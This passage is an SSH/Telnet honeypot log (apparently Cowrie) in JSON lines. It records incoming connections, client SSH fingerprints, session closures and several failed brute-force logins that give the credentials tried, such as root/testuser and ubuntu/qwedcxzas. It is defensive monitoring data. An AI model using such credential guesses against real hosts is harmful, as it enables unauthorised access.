{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38104,"dst_ip":"159.203.135.109","dst_port":22,"session":"f62fd617b349","protocol":"ssh","message":"New connection: 159.203.92.129:38104 (159.203.135.109:22) [session: f62fd617b349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.074289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.078996Z","src_ip":"159.203.92.129","session":"f62fd617b349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.083409Z","src_ip":"159.203.92.129","session":"f62fd617b349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.118238925933838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.090189Z","src_ip":"5.189.178.126","session":"67d3d229f33d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"anon","password":"123456","message":"login attempt [anon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.099113Z","src_ip":"159.203.92.129","session":"f62fd617b349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":55848,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c85e2f3bedb","protocol":"ssh","message":"New connection: 20.244.18.126:55848 (10.17.0.5:22) [session: 8c85e2f3bedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.438314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.442765Z","src_ip":"20.244.18.126","session":"8c85e2f3bedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":40150,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b88313186c5","protocol":"telnet","message":"New connection: 5.189.178.126:40150 (10.17.0.5:23) [session: 1b88313186c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.464642Z"}
{"eventid":"cowrie.session.closed","duration":36.07606863975525,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.526560Z","src_ip":"23.254.167.244","session":"2d8eb0805d1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.17577290534973,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.531730Z","src_ip":"213.136.75.179","session":"2dfc4f18d9b6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.631152Z","src_ip":"20.244.18.126","session":"8c85e2f3bedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.637560606002808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.654250Z","src_ip":"159.223.86.167","session":"4eb93c68fc05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.658776Z","src_ip":"176.65.139.103","session":"f3a91e1ac336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47590,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96252603980","protocol":"telnet","message":"New connection: 213.136.75.179:47590 (10.17.0.5:23) [session: f96252603980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:38.880050Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:39.107340Z","src_ip":"159.203.92.129","session":"f62fd617b349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67838454246521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:39.185872Z","src_ip":"37.220.31.6","session":"0b5e87f06ec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47604,"dst_ip":"10.17.0.5","dst_port":23,"session":"4931681b550f","protocol":"telnet","message":"New connection: 213.136.75.179:47604 (10.17.0.5:23) [session: 4931681b550f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:39.364358Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":45210,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb51aceab69a","protocol":"telnet","message":"New connection: 159.223.86.167:45210 (159.203.135.109:23) [session: bb51aceab69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:39.413500Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser","message":"login attempt [root/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:39.417801Z","src_ip":"20.244.18.126","session":"8c85e2f3bedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47610,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d33f6879684","protocol":"telnet","message":"New connection: 213.136.75.179:47610 (10.17.0.5:23) [session: 9d33f6879684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:39.523412Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e0142c3aa4","protocol":"telnet","message":"New connection: 213.136.75.179:47612 (10.17.0.5:23) [session: a0e0142c3aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:39.604421Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47620,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9fcee92ddfb","protocol":"telnet","message":"New connection: 213.136.75.179:47620 (10.17.0.5:23) [session: e9fcee92ddfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:39.947035Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:40.607630Z","src_ip":"20.244.18.126","session":"8c85e2f3bedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47630,"dst_ip":"10.17.0.5","dst_port":23,"session":"685aab8cc98d","protocol":"telnet","message":"New connection: 213.136.75.179:47630 (10.17.0.5:23) [session: 685aab8cc98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:40.754853Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47638,"dst_ip":"10.17.0.5","dst_port":23,"session":"630bcdb78848","protocol":"telnet","message":"New connection: 213.136.75.179:47638 (10.17.0.5:23) [session: 630bcdb78848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:41.488765Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47650,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e176c3036f3","protocol":"telnet","message":"New connection: 213.136.75.179:47650 (10.17.0.5:23) [session: 0e176c3036f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:41.847528Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":34820,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3405fcfc148","protocol":"telnet","message":"New connection: 5.189.178.126:34820 (10.17.0.5:23) [session: f3405fcfc148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:42.237816Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36688,"dst_ip":"159.203.135.109","dst_port":23,"session":"6989b97d50d7","protocol":"telnet","message":"New connection: 23.254.167.244:36688 (159.203.135.109:23) [session: 6989b97d50d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:43.484369Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36252,"dst_ip":"159.203.135.109","dst_port":23,"session":"88d44f558e2f","protocol":"telnet","message":"New connection: 159.223.86.167:36252 (159.203.135.109:23) [session: 88d44f558e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:43.876783Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47656,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbba154d0ff","protocol":"telnet","message":"New connection: 213.136.75.179:47656 (10.17.0.5:23) [session: 4bbba154d0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:43.884485Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43302,"dst_ip":"10.17.0.5","dst_port":22,"session":"2838ab9317a2","protocol":"ssh","message":"New connection: 176.65.139.103:43302 (10.17.0.5:22) [session: 2838ab9317a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:45.003421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:45.008579Z","src_ip":"176.65.139.103","session":"2838ab9317a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:45.104377Z","src_ip":"176.65.139.103","session":"2838ab9317a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:45.358295Z","src_ip":"176.65.139.103","session":"2838ab9317a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.26789999008179,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:46.094204Z","src_ip":"23.254.167.244","session":"415a273be092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:46.453465Z","src_ip":"176.65.139.103","session":"2838ab9317a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70443105697632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:47.101920Z","src_ip":"155.117.234.131","session":"814231872ac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":33214,"dst_ip":"10.17.0.5","dst_port":23,"session":"47cd4dbb3b57","protocol":"telnet","message":"New connection: 155.117.234.131:33214 (10.17.0.5:23) [session: 47cd4dbb3b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:47.469369Z"}
{"eventid":"cowrie.session.closed","duration":31.481704473495483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:47.545652Z","src_ip":"213.136.75.179","session":"2550060c9d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80241632461548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:47.884782Z","src_ip":"159.223.86.167","session":"c1a455b84c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53642,"dst_ip":"159.203.135.109","dst_port":23,"session":"a63d8dd3d8c3","protocol":"telnet","message":"New connection: 159.223.86.167:53642 (159.203.135.109:23) [session: a63d8dd3d8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:47.917418Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":38824,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed2e9668789e","protocol":"telnet","message":"New connection: 213.136.75.179:38824 (10.17.0.5:23) [session: ed2e9668789e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:48.473437Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":38832,"dst_ip":"10.17.0.5","dst_port":23,"session":"637da4de55ac","protocol":"telnet","message":"New connection: 213.136.75.179:38832 (10.17.0.5:23) [session: 637da4de55ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:48.519180Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54230,"dst_ip":"159.203.135.109","dst_port":23,"session":"efd327d796d9","protocol":"telnet","message":"New connection: 185.26.126.47:54230 (159.203.135.109:23) [session: efd327d796d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:49.269627Z"}
{"eventid":"cowrie.session.closed","duration":34.73924732208252,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:49.484614Z","src_ip":"213.136.75.179","session":"496781a926e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.176228523254395,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:49.992968Z","src_ip":"213.136.75.179","session":"88c3c2359652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08183979988098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:50.151188Z","src_ip":"5.189.178.126","session":"78fd0c621904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811727046966553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:51.113386Z","src_ip":"5.189.178.126","session":"d415a3a69d64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.415915727615356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:51.199634Z","src_ip":"159.223.86.167","session":"82067e60b7f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.436574935913086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:51.215998Z","src_ip":"155.117.234.131","session":"5bb698851afa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":57613,"dst_ip":"10.17.0.5","dst_port":22,"session":"11303ed47004","protocol":"ssh","message":"New connection: 74.87.117.149:57613 (10.17.0.5:22) [session: 11303ed47004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:51.660120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:51.665102Z","src_ip":"74.87.117.149","session":"11303ed47004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:51.689541Z","src_ip":"74.87.117.149","session":"11303ed47004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwedcxzas","message":"login attempt [ubuntu/qwedcxzas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:51.821121Z","src_ip":"74.87.117.149","session":"11303ed47004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43318,"dst_ip":"10.17.0.5","dst_port":22,"session":"5347bf4b90c8","protocol":"ssh","message":"New connection: 176.65.139.103:43318 (10.17.0.5:22) [session: 5347bf4b90c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:52.633437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:52.637518Z","src_ip":"176.65.139.103","session":"5347bf4b90c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":38844,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb1f0c5e942e","protocol":"telnet","message":"New connection: 213.136.75.179:38844 (10.17.0.5:23) [session: bb1f0c5e942e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:52.647785Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","ch